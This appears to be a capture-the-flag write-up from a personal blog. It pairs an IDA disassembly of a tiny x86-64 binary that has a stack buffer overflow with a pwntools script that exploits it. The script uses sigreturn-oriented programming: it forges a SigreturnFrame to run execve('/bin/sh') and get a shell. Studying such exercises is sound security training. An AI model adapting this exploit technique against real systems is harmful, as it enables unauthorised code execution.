超级玉米人の部屋

1
echo      ; ===========================================================================
2
echo
3
echo      ; Segment type: Pure code
4
echo      ; Segment permissions: Read/Execute
5
echo      _text           segment para public 'CODE' use64
6
echo                      assume cs:_text
7
echo                      ;org 401000h
8
echo                      assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
9
echo
10
echo      ; =============== S U B R O U T I N E =======================================
11
echo
12
echo      ; Attributes: bp-based frame
13
echo
14
echo      ; signed __int64 echo()
15
echo      echo            proc near               ; CODE XREF: _start↓p
16
echo                                              ; DATA XREF: LOAD:0000000000400088↑o
17
echo
18
echo      buf             = byte ptr -180h
19
echo
20
echo                      push    rbp
21
echo+1                    mov     rbp, rsp
22
echo+4                    sub     rsp, 300h
23
echo+B                    mov     eax, 0
24
echo+10                   mov     edi, 0          ; fd
25
echo+15                   lea     rsi, [rsp+300h+buf] ; buf
26
echo+1D                   mov     edx, 300h       ; count
27
echo+22                   syscall                 ; LINUX - sys_read
28
echo+24                   mov     rdx, rax        ; count
29
echo+27                   mov     eax, 1
30
echo+2C                   mov     edi, 1          ; fd
31
echo+31                   syscall                 ; LINUX - sys_write
32
echo+33                   leave
33
echo+34                   retn
34
echo+34   echo            endp
35
echo+34
36
echo+34   ; ---------------------------------------------------------------------------
37
.text:0000000000401035 aBinSh          db '/bin/sh',0
38
_start
39
_start      ; =============== S U B R O U T I N E =======================================
40
_start
41
_start      ; Attributes: noreturn
42
_start
43
_start                      public _start
44
_start      _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
45
_start                      call    echo
46
_start+5                    mov     eax, 60
47
_start+A                    mov     edi, 0          ; error_code
48
_start+F                    syscall                 ; LINUX - sys_exit
49
_start+F    _start          endp
50
_start+F
51
_start+F    _text           ends
52
_start+F
53
_start+F
54
_start+F                    end _start

1
FILE = "./chal"
2

3
from pwn import *
4
context(binary = FILE, log_level = "debug")
5

6
elf = ELF(FILE)
7
# rop = ROP(elf)
8

9
binshAddr = next(elf.search(b"/bin/sh\x00"))
10
log.success(f"binsh address: {hex(binshAddr)}")
11
syscallAddr = 0x401022
12

13
p = process(FILE)
14
raw_input(f"DEBUG - pwndbg -p {p.pid}")
15

16
frame = SigreturnFrame()
17
frame.rax = 59
18
frame.rdi = binshAddr
19
frame.rsi = 0
20
frame.rdx = 0
21
frame.rsp = 0
22
frame.rip = 0x401022
23

24
log.info(f"frame: {hex(len(bytes(frame)))} bytes")
25

26
payload = flat(
27
  [
28
    cyclic(0x180),
29
    p64(0xdeadbeef),
30
    p64(0x401000),
31
    p64(0x401022),
32
    bytes(frame)
33
  ]
34
)
35

36
pause()
37
p.send(payload)
38
p.send(cyclic(15))
39
p.interactive()